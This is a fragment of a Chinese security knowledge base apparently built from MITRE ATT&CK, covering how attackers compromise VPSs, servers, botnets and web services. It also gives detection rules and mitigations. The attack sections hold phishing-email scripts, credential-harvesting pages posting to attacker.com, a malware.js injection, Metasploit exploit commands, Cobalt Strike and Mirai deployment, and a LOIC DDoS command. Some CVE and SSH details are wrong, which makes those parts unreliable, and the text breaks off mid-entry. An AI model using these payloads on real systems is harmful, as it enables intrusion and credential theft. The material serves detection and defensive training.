    "content": "# T1584-003-入侵基础设施-虚拟专用服务器\n\n## 描述\n在入侵目标组织之前，攻击者可能通过劫持第三方虚拟专用服务器（VPS）来支持目标定位和攻击执行。VPS是一种通过虚拟化技术（如容器或虚拟机）将物理服务器分割为多个独立虚拟服务器的服务，每个VPS拥有独立的公网IP、操作系统、磁盘空间、内存和CPU资源。攻击者通过入侵第三方拥有的VPS，可以利用其高声誉和普遍性开展恶意活动，如命令与控制（C2）、钓鱼网站托管或恶意软件分发，同时增加被追踪的难度。\n\n攻击者可能通过以下方式入侵VPS：\n- **凭据窃取**：通过钓鱼、凭据填充或恶意软件获取VPS管理员的账户凭据。\n- **漏洞利用**：利用VPS操作系统或服务（如未修补的Linux内核、Apache、SSH）的漏洞获得控制权。\n- **社会工程**：通过伪装身份攻击VPS提供商的客户支持，获取账户访问权限。\n- **弱配置利用**：利用默认密码、开放端口或错误配置的服务（如未保护的RDP、SSH）入侵VPS。\n\n入侵的VPS可用于后期攻击阶段，如C2通信（T1102）、数据泄露（T1567）或钓鱼（T1566），并因其托管在知名云服务提供商（如AWS、DigitalOcean）而更难被检测。\n\n## 测试案例\n以下是模拟攻击者入侵VPS的常见方法和案例：\n- **凭据窃取**：\n  - 通过钓鱼邮件获取VPS管理员的登录凭据。\n  - 示例：伪装为VPS提供商（如DigitalOcean）发送密码重置邮件：\n    ```python\n    import smtplib\n    from email.mime.text import MIMEText\n    msg = MIMEText(\"Reset your password: http://fake-vps.com/reset\")\n    msg['Subject'] = 'Urgent: VPS Account Reset'\n    msg['From'] = 'support@fake-vps.com'\n    msg['To'] = 'admin@target.com'\n    with smtplib.SMTP('smtp.attacker.com') as server:\n        server.login('user', 'pass')\n        server.send_message(msg)\n    ```\n- **漏洞利用**：\n  - 利用未修补的SSH漏洞（如CVE-2019-0211）入侵VPS。\n    ```bash\n    # 使用Metasploit攻击SSH漏洞\n    msfconsole\n    use exploit/linux/ssh/openssh_userenum\n    set RHOST <VPS_IP>\n    exploit\n    ```\n- **弱配置利用**：\n  - 扫描VPS的开放端口，尝试默认凭据登录SSH或RDP。\n    ```bash\n    # 使用Nmap扫描开放端口\n    nmap -p 22,3389 <VPS_IP>\n    # 尝试默认SSH登录\n    ssh admin@<VPS_IP> -p default_password\n    ```\n- **VPS用途**：\n  - **C2服务器**：在入侵的VPS上部署Cobalt Strike：\n    ```bash\n    # 启动Cobalt Strike\n    ./teamserver <VPS_IP> <password> /path/to/profile\n    ```\n  - **钓鱼网站**：托管伪装的登录页面：\n    ```html\n    <html>\n    <head><title>TargetCorp Login</title></head>\n    <body>\n        <form id=\"login-form\">\n            <input type=\"text\" id=\"username\" placeholder=\"Username\">\n            <input type=\"password\" id=\"password\" placeholder=\"Password\">\n            <input type=\"submit\" value=\"Login\">\n        </form>\n        <script>\n            document.getElementById('login-form').addEventListener('submit', function(e) {\n                e.preventDefault();\n                var data = {\n                    username: document.getElementById('username').value,\n                    password: document.getElementById('password').value\n                };\n                fetch('http://<VPS_IP>/collect', {\n                    method: 'POST',\n                    body: JSON.stringify(data)\n                });\n            });\n        </script>\n    </body>\n    </html>\n    ```\n- **案例场景**：\n  - 攻击者通过钓鱼获取DigitalOcean VPS凭据，部署Cobalt Strike C2服务器，控制受感染主机。\n  - 利用未修补的Apache漏洞入侵VPS，托管钓鱼网站，窃取员工凭据。\n\n## 检测日志\nVPS入侵活动多发生在目标组织监测范围之外，难以直接监测。以下是可能的日志来源：\n- **VPS管理日志**：\n  - 记录异常的登录尝试、配置变更或服务安装。\n- **网络流量日志**：\n  - 检测与受损VPS的异常通信，如C2流量或钓鱼页面访问。\n- **DNS日志**：\n  - 记录解析到受损VPS IP的异常域名查询。\n- **邮件服务器日志**：\n  - 监控针对VPS管理员账户的钓鱼邮件。\n- **防火墙/IDS日志**：\n  - 检测针对VPS的漏洞利用尝试或异常流量模式。\n\n## 测试复现\n以下是在受控授权环境中模拟VPS入侵的步骤：\n1. **环境准备**：\n   - 租用测试VPS（如DigitalOcean、阿里云ECS），配置Ubuntu系统。\n   - 模拟弱配置（如默认SSH密码或开放RDP端口）。\n2. **凭据窃取模拟**：\n   - 发送伪装的钓鱼邮件，诱导管理员泄露VPS凭据：\n     ```python\n     import smtplib\n     from email.mime.text import MIMEText\n     msg = MIMEText(\"Reset your password: http://fake-vps.com/reset\")\n     msg['Subject'] = 'Urgent: VPS Account Reset'\n     msg['From'] = 'support@fake-vps.com'\n     msg['To'] = 'admin@test-vps.com'\n     with smtplib.SMTP('smtp.attacker.com') as server:\n         server.login('user', 'pass')\n         server.send_message(msg)\n     ```\n3. **漏洞利用模拟**：\n   - 使用Metasploit攻击弱配置的SSH服务：\n     ```bash\n     msfconsole\n     use auxiliary/scanner/ssh/ssh_login\n     set RHOSTS <VPS_IP>\n     set USERNAME admin\n     set PASSWORD default_password\n     exploit\n     ```\n4. **恶意活动部署**：\n   - 在受损VPS上部署C2服务器：\n     ```bash\n     wget https://<attacker_repo>/cobaltstrike.jar\n     java -jar cobaltstrike.jar\n     ./teamserver <VPS_IP> <password> /path/to/profile\n     ```\n   - 部署钓鱼网站：\n     ```bash\n     sudo apt install nginx\n     cp phishing.html /var/www/html/index.html\n     sudo systemctl start nginx\n     ```\n5. **结果分析**：\n   - 验证C2通道或钓鱼页面是否正常运行。\n6. **日志收集**：\n   - 收集VPS管理、网络流量、DNS和邮件日志，分析入侵痕迹。\n\n## 测试留痕\nVPS入侵可能留下以下痕迹：\n- **VPS管理日志**：异常的登录尝试、新服务安装或配置变更。\n- **网络流量**：与受损VPS的异常HTTP/HTTPS流量或C2通信。\n- **DNS查询**：解析到受损VPS IP的异常域名。\n- **邮件服务器日志**：针对VPS管理员的钓鱼邮件。\n- **防火墙/IDS告警**：针对VPS的漏洞利用或异常流量。\n\n## 检测规则/思路\n由于VPS入侵多发生在目标组织视野之外，检测需结合多种手段：\n- **网络流量监控**：\n  - 检测与已知VPS提供商IP范围的异常通信。\n  - 示例Snort规则：\n    ```snort\n    alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:\"Suspicious VPS Traffic\"; content:\"digitalocean.com\"; sid:1000001;)\n    ```\n- **DNS监控**：\n  - 检测解析到受损VPS IP的异常域名。\n  - 示例DNS防火墙规则：\n    ```plaintext\n    Rule: Detect Suspicious VPS Domains\n    Condition: DNS query resolves to <DigitalOcean_IP_RANGE>\n    Action: Alert\n    ```\n- **邮件监控**：\n  - 使用DLP工具检测针对VPS管理员的钓鱼邮件。\n  - 示例DLP规则：\n    ```plaintext\n    Rule: Detect Phishing Links to VPS\n    Condition: Email contains \"http\" AND \"password reset\"\n    Action: Alert\n    ```\n- **VPS管理监控**：\n  - 监控VPS控制面板的异常登录或配置变更。\n  - 示例日志规则：\n    ```plaintext\n    Rule: Detect Unauthorized VPS Login\n    Condition: Login attempt from unknown IP\n    Action: Alert\n    ```\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的恶意VPS IP或C2域名。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联网络、DNS和邮件日志，检测VPS入侵或恶意使用。\n\n## 建议\n- **减少暴露面**：\n  - 定期审计VPS配置，关闭不必要的端口（如SSH、RDP）。\n  - 使用强密码和MFA保护VPS管理账户。\n- **安全加固**：\n  - 及时修补VPS操作系统和服务的漏洞。\n  - 配置防火墙限制对VPS管理端口的访问。\n  - 实施入侵检测系统（IDS）监控VPS异常活动。\n- **主动监控与响应**：\n  - 部署VPS日志分析工具（如Splunk、ELK），监控异常登录或流量。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的VPS入侵。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如命令与控制T1102、钓鱼T1566），通过异常流量或C2行为间接发现VPS入侵。\n\n## 参考资料\n- MITRE ATT&CK: T1584-003  \n  <https://attack.mitre.org/techniques/T1584/003/>"
  },
  {
    "path": "Windows/02资源开发/T1584.004-入侵基础设施-服务器.md",
    "content": "# T1584-004-入侵基础设施-服务器\n\n## 描述\n在入侵目标组织之前，攻击者可能通过劫持第三方服务器来支持目标定位和攻击执行。这些服务器可以是物理服务器、虚拟服务器或网络服务器（Web服务器），常被称为“肉鸡”或跳板机。攻击者通过入侵第三方服务器，可以利用其计算资源和网络位置开展恶意活动，如命令与控制（C2）、水坑攻击、路过式下载（Drive-by Compromise）、钓鱼网站托管或数据泄露。相比于购买或租用服务器，入侵第三方服务器成本更低，且因服务器归属第三方，增加了攻击者被追踪的难度。\n\n攻击者可能通过以下方式入侵服务器：\n- **凭据窃取**：通过钓鱼、凭据填充或恶意软件获取服务器管理员的账户凭据。\n- **漏洞利用**：利用服务器操作系统或服务（如Apache、Nginx、SSH、RDP）的已知漏洞获得控制权。\n- **弱配置利用**：利用默认密码、开放端口或错误配置的服务入侵服务器。\n- **社会工程**：通过伪装身份攻击服务器托管提供商的客户支持，获取账户访问权限。\n- **供应链攻击**：通过第三方软件或服务（如管理工具）间接入侵服务器。\n\n入侵的服务器可用于攻击生命周期的多个阶段，如C2通信（T1102）、水坑攻击（T1189）或钓鱼（T1566），并因其与合法实体的关联而更难被检测。\n\n## 测试案例\n以下是模拟攻击者入侵服务器的常见方法和案例：\n- **凭据窃取**：\n  - 通过钓鱼邮件获取服务器管理员的登录凭据。\n  - 示例：伪装为托管提供商发送密码重置邮件：\n    ```python\n    import smtplib\n    from email.mime.text import MIMEText\n    msg = MIMEText(\"Reset your password: http://fake-host.com/reset\")\n    msg['Subject'] = 'Urgent: Server Account Reset'\n    msg['From'] = 'support@fake-host.com'\n    msg['To'] = 'admin@target.com'\n    with smtplib.SMTP('smtp.attacker.com') as server:\n        server.login('user', 'pass')\n        server.send_message(msg)\n    ```\n- **漏洞利用**：\n  - 利用Apache Struts漏洞（如CVE-2017-5638）执行远程代码，控制Web服务器。\n    ```bash\n    # 使用Metasploit攻击Apache Struts\n    msfconsole\n    use exploit/multi/http/struts2_content_type_ognl\n    set RHOST <SERVER_IP>\n    exploit\n    ```\n- **弱配置利用**：\n  - 扫描服务器开放端口，尝试默认凭据登录SSH或RDP。\n    ```bash\n    # 使用Nmap扫描开放端口\n    nmap -p 22,3389 <SERVER_IP>\n    # 尝试默认SSH登录\n    ssh admin@<SERVER_IP> -p default_password\n    ```\n- **服务器用途**：\n  - **C2服务器**：在入侵的服务器上部署Cobalt Strike：\n    ```bash\n    # 启动Cobalt Strike\n    ./teamserver <SERVER_IP> <password> /path/to/profile\n    ```\n  - **水坑攻击**：修改Web服务器内容，注入恶意JavaScript：\n    ```html\n    <script>\n    var xhr = new XMLHttpRequest();\n    xhr.open('GET', 'http://attacker.com/malware.js', true);\n    xhr.send();\n    </script>\n    ```\n  - **钓鱼网站**：托管伪装的登录页面：\n    ```html\n    <html>\n    <head><title>TargetCorp Login</title></head>\n    <body>\n        <form id=\"login-form\">\n            <input type=\"text\" id=\"username\" placeholder=\"Username\">\n            <input type=\"password\" id=\"password\" placeholder=\"Password\">\n            <input type=\"submit\" value=\"Login\">\n        </form>\n        <script>\n            document.getElementById('login-form').addEventListener('submit', function(e) {\n                e.preventDefault();\n                var data = {\n                    username: document.getElementById('username').value,\n                    password: document.getElementById('password').value\n                };\n                fetch('http://<SERVER_IP>/collect', {\n                    method: 'POST',\n                    body: JSON.stringify(data)\n                });\n            });\n        </script>\n    </body>\n    </html>\n    ```\n- **案例场景**：\n  - 攻击者通过钓鱼获取Web服务器管理员凭据，注入恶意JavaScript，发起水坑攻击。\n  - 利用未修补的SSH漏洞入侵服务器，部署Cobalt Strike C2，控制受感染主机。\n\n## 检测日志\n服务器入侵活动多发生在目标组织监测范围之外，难以直接监测。以下是可能的日志来源：\n- **服务器管理日志**：\n  - 记录异常的登录尝试、配置变更或新服务安装。\n- **网络流量日志**：\n  - 检测与受损服务器的异常通信，如C2流量或钓鱼页面访问。\n- **DNS日志**：\n  - 记录解析到受损服务器IP的异常域名查询。\n- **邮件服务器日志**：\n  - 监控针对服务器管理员账户的钓鱼邮件。\n- **防火墙/IDS日志**：\n  - 检测针对服务器的漏洞利用尝试或异常流量模式。\n\n## 测试复现\n以下是在受控授权环境中模拟服务器入侵的步骤：\n1. **环境准备**：\n   - 搭建测试服务器（如Ubuntu虚拟机），模拟弱配置（如默认SSH密码或开放端口）。\n   - 配置Web服务器（如Nginx）并托管简单页面。\n2. **凭据窃取模拟**：\n   - 发送伪装的钓鱼邮件，诱导管理员泄露服务器凭据：\n     ```python\n     import smtplib\n     from email.mime.text import MIMEText\n     msg = MIMEText(\"Reset your password: http://fake-host.com/reset\")\n     msg['Subject'] = 'Urgent: Server Account Reset'\n     msg['From'] = 'support@fake-host.com'\n     msg['To'] = 'admin@test-server.com'\n     with smtplib.SMTP('smtp.attacker.com') as server:\n         server.login('user', 'pass')\n         server.send_message(msg)\n     ```\n3. **漏洞利用模拟**：\n   - 使用Metasploit攻击弱配置的SSH服务：\n     ```bash\n     msfconsole\n     use auxiliary/scanner/ssh/ssh_login\n     set RHOSTS <SERVER_IP>\n     set USERNAME admin\n     set PASSWORD default_password\n     exploit\n     ```\n4. **恶意活动部署**：\n   - 在受损服务器上部署C2服务器：\n     ```bash\n     wget https://<attacker_repo>/cobaltstrike.jar\n     java -jar cobaltstrike.jar\n     ./teamserver <SERVER_IP> <password> /path/to/profile\n     ```\n   - 部署钓鱼网站：\n     ```bash\n     sudo apt install nginx\n     cp phishing.html /var/www/html/index.html\n     sudo systemctl start nginx\n     ```\n   - 注入水坑攻击代码：\n     ```bash\n     echo \"<script src='http://attacker.com/malware.js'></script>\" >> /var/www/html/index.html\n     ```\n5. **结果分析**：\n   - 验证C2通道、钓鱼页面或水坑攻击是否正常运行。\n6. **日志收集**：\n   - 收集服务器管理、网络流量、DNS和邮件日志，分析入侵痕迹。\n\n## 测试留痕\n服务器入侵可能留下以下痕迹：\n- **服务器管理日志**：异常的登录尝试、新服务安装或配置变更。\n- **网络流量**：与受损服务器的异常HTTP/HTTPS流量或C2通信。\n- **DNS查询**：解析到受损服务器IP的异常域名。\n- **邮件服务器日志**：针对服务器管理员的钓鱼邮件。\n- **防火墙/IDS告警**：针对服务器的漏洞利用或异常流量。\n\n## 检测规则/思路\n由于服务器入侵多发生在目标组织视野之外，检测需结合多种手段：\n- **网络流量监控**：\n  - 检测与受损服务器的异常通信，关注C2或钓鱼流量。\n  - 示例Snort规则：\n    ```snort\n    alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:\"Suspicious Server Traffic\"; content:\"c2\"; sid:1000001;)\n    ```\n- **DNS监控**：\n  - 检测解析到受损服务器IP的异常域名。\n  - 示例DNS防火墙规则：\n    ```plaintext\n    Rule: Detect Suspicious Server Domains\n    Condition: DNS query resolves to <SERVER_IP>\n    Action: Alert\n    ```\n- **邮件监控**：\n  - 使用DLP工具检测针对服务器管理员的钓鱼邮件。\n  - 示例DLP规则：\n    ```plaintext\n    Rule: Detect Phishing Links to Server\n    Condition: Email contains \"http\" AND \"password reset\"\n    Action: Alert\n    ```\n- **服务器管理监控**：\n  - 监控服务器的异常登录或配置变更。\n  - 示例日志规则：\n    ```plaintext\n    Rule: Detect Unauthorized Server Login\n    Condition: Login attempt from unknown IP\n    Action: Alert\n    ```\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的恶意服务器IP或C2域名。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联网络、DNS和邮件日志，检测服务器入侵或恶意使用。\n\n## 建议\n- **减少暴露面**：\n  - 定期审计服务器配置，关闭不必要的端口（如SSH、RDP）。\n  - 使用强密码和MFA保护服务器管理账户。\n- **安全加固**：\n  - 及时修补服务器操作系统和服务的漏洞。\n  - 配置防火墙限制对服务器管理端口的访问。\n  - 实施入侵检测系统（IDS）监控服务器异常活动。\n- **主动监控与响应**：\n  - 部署服务器日志分析工具（如Splunk、ELK），监控异常登录或流量。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的服务器入侵。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如命令与控制T1102、钓鱼T1566、水坑攻击T1189），通过异常流量或C2行为间接发现服务器入侵。\n\n## 参考资料\n- MITRE ATT&CK: T1584-004  \n  <https://attack.mitre.org/techniques/T1584/004/>"
  },
  {
    "path": "Windows/02资源开发/T1584.005-入侵基础设施-僵尸网络.md",
    "content": "# T1584-005-入侵基础设施-僵尸网络\n\n## 描述\n在入侵目标组织之前，攻击者可能通过入侵多个第三方系统，组建僵尸网络（Botnet）以支持目标定位和攻击执行。僵尸网络是由大量受感染主机组成的网络，这些主机通过恶意软件（如僵尸程序）被控制，可由攻击者通过命令与控制（C2）通道统一指挥。攻击者可能自行入侵系统以构建僵尸网络，或者接管现有的僵尸网络（例如通过重定向僵尸程序到攻击者控制的C2服务器）。僵尸网络可用于多种恶意活动，包括分布式拒绝服务（DDoS）攻击、大规模网络钓鱼、恶意软件分发、数据窃取或代理中继。\n\n攻击者可能通过以下方式入侵和组建僵尸网络：\n- **恶意软件传播**：通过钓鱼邮件、漏洞利用或恶意下载感染主机，植入僵尸程序（如Mirai、Emotet）。\n- **漏洞利用**：利用未修补的系统漏洞（如IoT设备、Windows服务器）大规模感染主机。\n- **凭据窃取**：通过钓鱼或凭据填充获取主机访问权限，部署僵尸程序。\n- **接管现有僵尸网络**：通过分析现有僵尸程序，替换C2服务器地址，控制受感染主机。\n- **功能利用**：利用僵尸网络执行DDoS攻击、钓鱼分发、恶意软件传播或代理服务。\n\n僵尸网络的规模化、隐蔽性和多功能性使其成为攻击者的强大工具，尤其在需要大规模攻击或匿名性的场景中。\n\n## 测试案例\n以下是模拟攻击者入侵和组建僵尸网络的常见方法和案例：\n- **恶意软件传播**：\n  - 通过钓鱼邮件分发恶意附件，感染主机并植入僵尸程序。\n    ```python\n    import smtplib\n    from email.mime.text import MIMEText\n    from email.mime.multipart import MIMEMultipart\n    from email.mime.base import MIMEBase\n    from email import encoders\n    msg = MIMEMultipart()\n    msg['Subject'] = 'Urgent: Invoice Update'\n    msg['From'] = 'attacker@malicious.com'\n    msg['To'] = 'victim@target.com'\n    part = MIMEBase('application', 'octet-stream')\n    part.set_payload(open('malware.exe', 'rb').read())\n    encoders.encode_base64(part)\n    part.add_header('Content-Disposition', 'attachment; filename=\"invoice.exe\"')\n    msg.attach(part)\n    with smtplib.SMTP('smtp.malicious.com') as server:\n        server.login('user', 'pass')\n        server.send_message(msg)\n    ```\n- **漏洞利用**：\n  - 利用Mirai源码攻击易受感染的IoT设备。\n    ```bash\n    # 使用Mirai源码感染设备\n    git clone https://github.com/jgamblin/Mirai-Source-Code\n    cd Mirai-Source-Code\n    ./build.sh\n    # 扫描并感染设备\n    ./mirai -s <TARGET_IP_RANGE>\n    ```\n- **接管现有僵尸网络**：\n  - 逆向分析僵尸程序，替换C2服务器地址。\n    ```bash\n    # 修改僵尸程序C2地址（伪代码）\n    sed -i 's/old_c2.attacker.com/new_c2.attacker.com/g' malware_binary\n    ```\n- **功能利用**：\n  - **DDoS攻击**：使用僵尸网络发起HTTP Flood攻击。\n    ```bash\n    # 使用LOIC模拟DDoS\n    loic <target_url> -method HTTP -threads 100\n    ```\n  - **钓鱼分发**：通过受感染主机发送钓鱼邮件。\n    ```python\n    import smtplib\n    from email.mime.text import MIMEText\n    msg = MIMEText(\"Click here: http://malicious.com\")\n    msg['Subject'] = 'Urgent: Account Verification'\n    msg['From'] = 'attacker@malicious.com'\n    msg['To'] = 'victim@target.com'\n    with smtplib.SMTP('smtp.malicious.com') as server:\n        server.login('user', 'pass')\n        server.send_message(msg)\n    ```\n- **案例场景**：\n  - 攻击者通过Mirai感染未修补的IoT设备，组建僵尸网络，发起DDoS攻击瘫痪目标网站。\n  - 使用Emotet感染Windows主机，分发钓鱼邮件，窃取员工凭据。\n\n## 检测日志\n僵尸网络入侵活动多发生在目标组织监测范围之外，难以直接监测。以下是可能的日志来源：\n- **网络流量日志**：\n  - 检测与已知C2服务器的异常通信，如高频HTTP、IRC或DNS流量。\n- **DNS日志**：\n  - 记录解析到C2服务器的异常域名查询。\n- **邮件服务器日志**：\n  - 监控大规模钓鱼邮件，可能由僵尸网络分发。\n- **端点日志**：\n  - 记录受感染主机的异常行为，如未知进程、持久化机制或网络连接。\n- **防火墙/IDS日志**：\n  - 检测DDoS攻击的高流量模式或异常C2通信。\n\n## 测试复现\n以下是在受控授权环境中模拟僵尸网络入侵的步骤：\n1. **环境准备**：\n   - 搭建测试环境，包括虚拟机（模拟受感染主机）和C2服务器（如AWS EC2）。\n   - 配置测试主机，模拟弱点（如未修补的系统或默认凭据）。\n2. **恶意软件传播**：\n   - 使用Mirai感染测试主机：\n     ```bash\n     git clone https://github.com/jgamblin/Mirai-Source-Code\n     cd Mirai-Source-Code\n     ./build.sh\n     # 部署到测试主机\n     ./mirai -s <TEST_HOST_IP>\n     ```\n   - 发送钓鱼邮件分发恶意附件：\n     ```python\n     import smtplib\n     from email.mime.text import MIMEText\n     from email.mime.multipart import MIMEMultipart\n     from email.mime.base import MIMEBase\n     from email import encoders\n     msg = MIMEMultipart()\n     msg['Subject'] = 'Urgent: Invoice Update'\n     msg['From'] = 'attacker@malicious.com'\n     msg['To'] = 'victim@test.com'\n     part = MIMEBase('application', 'octet-stream')\n     part.set_payload(open('test_malware.exe', 'rb').read())\n     encoders.encode_base64(part)\n     part.add_header('Content-Disposition', 'attachment; filename=\"invoice.exe\"')\n     msg.attach(part)\n     with smtplib.SMTP('smtp.malicious.com') as server:\n         server.login('user', 'pass')\n         server.send_message(msg)\n     ```\n3. **C2服务器配置**：\n   - 部署简单的IRC C2服务器：\n     ```bash\n     sudo apt install inspircd\n     inspircd --config /etc/inspircd/inspircd.conf\n     ```\n4. **测试执行**：\n   - 模拟DDoS攻击：\n     ```bash\n     loic http://test-target.com -method HTTP -threads 100\n     ```\n   - 模拟钓鱼分发：\n     ```python\n     import smtplib\n     from email.mime.text import MIMEText\n     msg = MIMEText(\"Click here: http://test-malicious.com\")\n     msg['Subject'] = 'Urgent: Account Verification'\n     msg['From'] = 'attacker@malicious.com'\n     msg['To'] = 'victim@test.com'\n     with smtplib.SMTP('smtp.malicious.com') as server:\n         server.login('user', 'pass')\n         server.send_message(msg)\n     ```\n5. **结果分析**：\n   - 验证DDoS攻击效果或钓鱼邮件分发成功率。\n6. **日志收集**：\n   - 收集DNS、网络流量、邮件和端点日志，分析僵尸网络活动痕迹。\n\n## 测试留痕\n僵尸网络入侵可能留下以下痕迹：\n- **端点日志**：受感染主机的异常进程、文件修改或网络连接。\n- **网络流量**：高频HTTP、IRC或DNS流量，或与C2服务器的通信。\n- **DNS查询**：解析到C2服务器的异常域名。\n- **邮件服务器日志**：大规模钓鱼邮件的发送记录。\n- **防火墙/IDS告警**：触发C2、DDoS或恶意软件相关的检测规则。\n\n## 检测规则/思路\n由于僵尸网络入侵多发生在目标组织视野之外，检测需结合多种手段：\n- **网络流量监控**：\n  - 检测与C2服务器的异常通信，关注HTTP、IRC或DNS流量。\n  - 示例Snort规则：\n    ```snort\n    alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:\"Suspicious C2 Traffic\"; content:\"irc\"; sid:1000001;)\n    ```\n- **DNS监控**：\n  - 检测解析到C2服务器的异常域名。\n  - 示例DNS防火墙规则：\n    ```plaintext\n    Rule: Detect Suspicious C2 Domains\n    Condition: DNS query resolves to <KNOWN_C2_IP>\n    Action: Alert\n    ```\n- **邮件监控**：\n  - 使用DLP工具检测大规模钓鱼邮件。\n  - 示例DLP规则：\n    ```plaintext\n    Rule: Detect Phishing Emails\n    Condition: Email contains \"http\" AND NOT \"target.com\"\n    Action: Alert\n    ```\n- **端点监控**：\n  - 使用EDR工具（如CrowdStrike、Carbon Black）检测受感染主机的异常行为，如未知进程或C2连接。\n  - 示例EDR规则：\n    ```plaintext\n    Rule: Detect Suspicious Process\n    Condition: Process connects to <KNOWN_C2_IP>\n    Action: Alert\n    ```\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的C2服务器IP或域名。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联DNS、网络和端点日志，检测僵尸网络活动模式。\n\n## 建议\n- **减少暴露面**：\n  - 定期修补系统漏洞，防止主机被恶意软件感染。\n  - 限制员工访问可疑网站或下载未知附件。\n- **安全加固**：\n  - 配置防火墙限制与已知C2服务器的通信。\n  - 实施MFA保护员工账户，防止凭据被钓鱼窃取。\n  - 使用WAF保护Web服务，拦截DDoS或钓鱼流量。\n- **主动监控与响应**：\n  - 部署SIEM工具（如Splunk、ELK），分析异常DNS或网络流量。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的僵尸网络活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如命令与控制T1102、钓鱼T1566、DDoS T1498），通过异常流量或行为间接发现僵尸网络活动。\n\n## 参考资料\n- MITRE ATT&CK: T1584-005  \n  <https://attack.mitre.org/techniques/T1584/005/>"
  },
  {
    "path": "Windows/02资源开发/T1584.006-入侵基础设施-web服务.md",
    "content": "# T1584-006-入侵基础设施-web服务\n\n## 描述\n在入侵目标组织之前，攻击者可能通过劫持第三方Web服务来支持目标定位和攻击执行。Web服务包括社交媒体平台（如Twitter、Facebook）、云存储服务（如Google Drive、Dropbox）、代码托管平台（如GitHub、GitLab）以及内容管理系统（如WordPress）。攻击者通过窃取合法用户的账户凭据或利用Web服务的漏洞，获取对这些服务的控制权，并将其用作攻击基础设施。这些服务可能在攻击生命周期的后期阶段被滥用，例如用于命令与控制（C2）（T1102）、数据泄露（T1567）或钓鱼（T1566）。由于Web服务的高普及性和信任度，攻击者可以利用其正常流量掩盖恶意活动，增加被追踪的难度。\n\n攻击者可能通过以下方式入侵Web服务：\n- **凭据窃取**：通过钓鱼、凭据填充或恶意软件获取合法用户的账户凭据。\n- **漏洞利用**：利用Web服务平台的漏洞（如WordPress插件漏洞）获得控制权。\n- **社会工程**：通过伪装身份攻击Web服务提供商的客户支持，获取账户访问权限。\n- **API滥用**：利用窃取的API密钥，通过Web服务API执行恶意操作。\n- **接管现有资源**：控制被遗弃或未保护的Web服务资源（如未续费的GitHub Pages站点）。\n\n入侵的Web服务可用于托管钓鱼页面、分发恶意软件、传输C2指令或存储窃取数据，其隐蔽性使其成为攻击者的理想选择。\n\n## 测试案例\n以下是模拟攻击者入侵Web服务的常见方法和案例：\n- **凭据窃取**：\n  - 通过钓鱼邮件获取GitHub账户凭据，控制GitHub Pages站点。\n    ```python\n    import smtplib\n    from email.mime.text import MIMEText\n    msg = MIMEText(\"Reset your GitHub password: http://fake-github.com/reset\")\n    msg['Subject'] = 'Urgent: GitHub Account Security'\n    msg['From'] = 'support@fake-github.com'\n    msg['To'] = 'user@target.com'\n    with smtplib.SMTP('smtp.attacker.com') as server:\n        server.login('user', 'pass')\n        server.send_message(msg)\n    ```\n- **WordPress漏洞利用**：\n  - 利用WordPress插件漏洞（如WP File Manager CVE-2020-25213）执行远程代码，控制站点。\n    ```bash\n    # 使用Metasploit攻击WordPress漏洞\n    msfconsole\n    use exploit/multi/http/wp_file_manager_rce\n    set RHOST <WORDPRESS_IP>\n    exploit\n    ```\n- **API滥用**：\n  - 使用窃取的Twitter API密钥发送C2指令。\n    ```python\n    import tweepy\n    auth = tweepy.OAuthHandler(\"stolen_consumer_key\", \"stolen_consumer_secret\")\n    auth.set_access_token(\"stolen_access_token\", \"stolen_access_token_secret\")\n    api = tweepy.API(auth)\n    api.update_status(\"encoded_C2_command:execute_payload\")\n    ```\n- **接管遗弃资源**：\n  - 控制未续费的Google Sites页面，托管钓鱼页面。\n    ```html\n    <html>\n    <head><title>TargetCorp Login</title></head>\n    <body>\n        <form id=\"login-form\">\n            <input type=\"text\" id=\"username\" placeholder=\"Username\">\n            <input type=\"password\" id=\"password\" placeholder=\"Password\">\n            <input type=\"submit\" value=\"Login\">\n        </form>\n        <script>\n            document.getElementById('login-form').addEventListener('submit', function(e) {\n                e.preventDefault();\n                var data = {\n                    username: document.getElementById('username').value,\n                    password: document.getElementById('password').value\n                };\n                fetch('http://attacker.com/collect', {\n                    method: 'POST',\n                    body: JSON.stringify(data)\n                });\n            });\n        </script>\n    </body>\n    </html>\n    ```\n- **案例场景**：\n  - 攻击者入侵受感染的WordPress站点，部署C2后门，用于与受感染主机通信（参考Turla组织的行为）。\n  - 通过窃取Google Drive账户凭据，上传恶意文件并生成共享链接，分发给目标用户。\n  - 攻击者利用GitHub账户凭据，在GitHub Pages上托管伪装的登录页面，窃取员工凭据。\n\n## 检测日志\nWeb服务入侵活动多发生在目标组织监测范围之外，难以直接监测。以下是可能的日志来源：\n- **网络流量日志**：\n  - 检测与Web服务（如Twitter API、Google Drive）的异常通信或API调用。\n- **DNS日志**：\n  - 记录解析到Web服务IP的异常域名查询，可能与C2或钓鱼相关。\n- **邮件服务器日志**：\n  - 监控针对Web服务账户的钓鱼邮件。\n- **端点日志**：\n  - 记录访问Web服务托管的恶意页面或下载可疑文件的活动。\n- **Web服务日志**：\n  - 监控账户的异常登录、内容修改或API使用（需Web服务提供商支持）。\n\n## 测试复现\n以下是在受控授权环境中模拟Web服务入侵的步骤：\n1. **环境准备**：\n   - 注册测试账户（如GitHub、WordPress、Google Drive），准备测试环境。\n   - 搭建本地WordPress实例，模拟弱配置（如未更新的插件）。\n2. **凭据窃取模拟**：\n   - 发送伪装的钓鱼邮件，诱导用户泄露GitHub凭据：\n     ```python\n     import smtplib\n     from email.mime.text import MIMEText\n     msg = MIMEText(\"Reset your GitHub password: http://fake-github.com/reset\")\n     msg['Subject'] = 'Urgent: GitHub Account Security'\n     msg['From'] = 'support@fake-github.com'\n     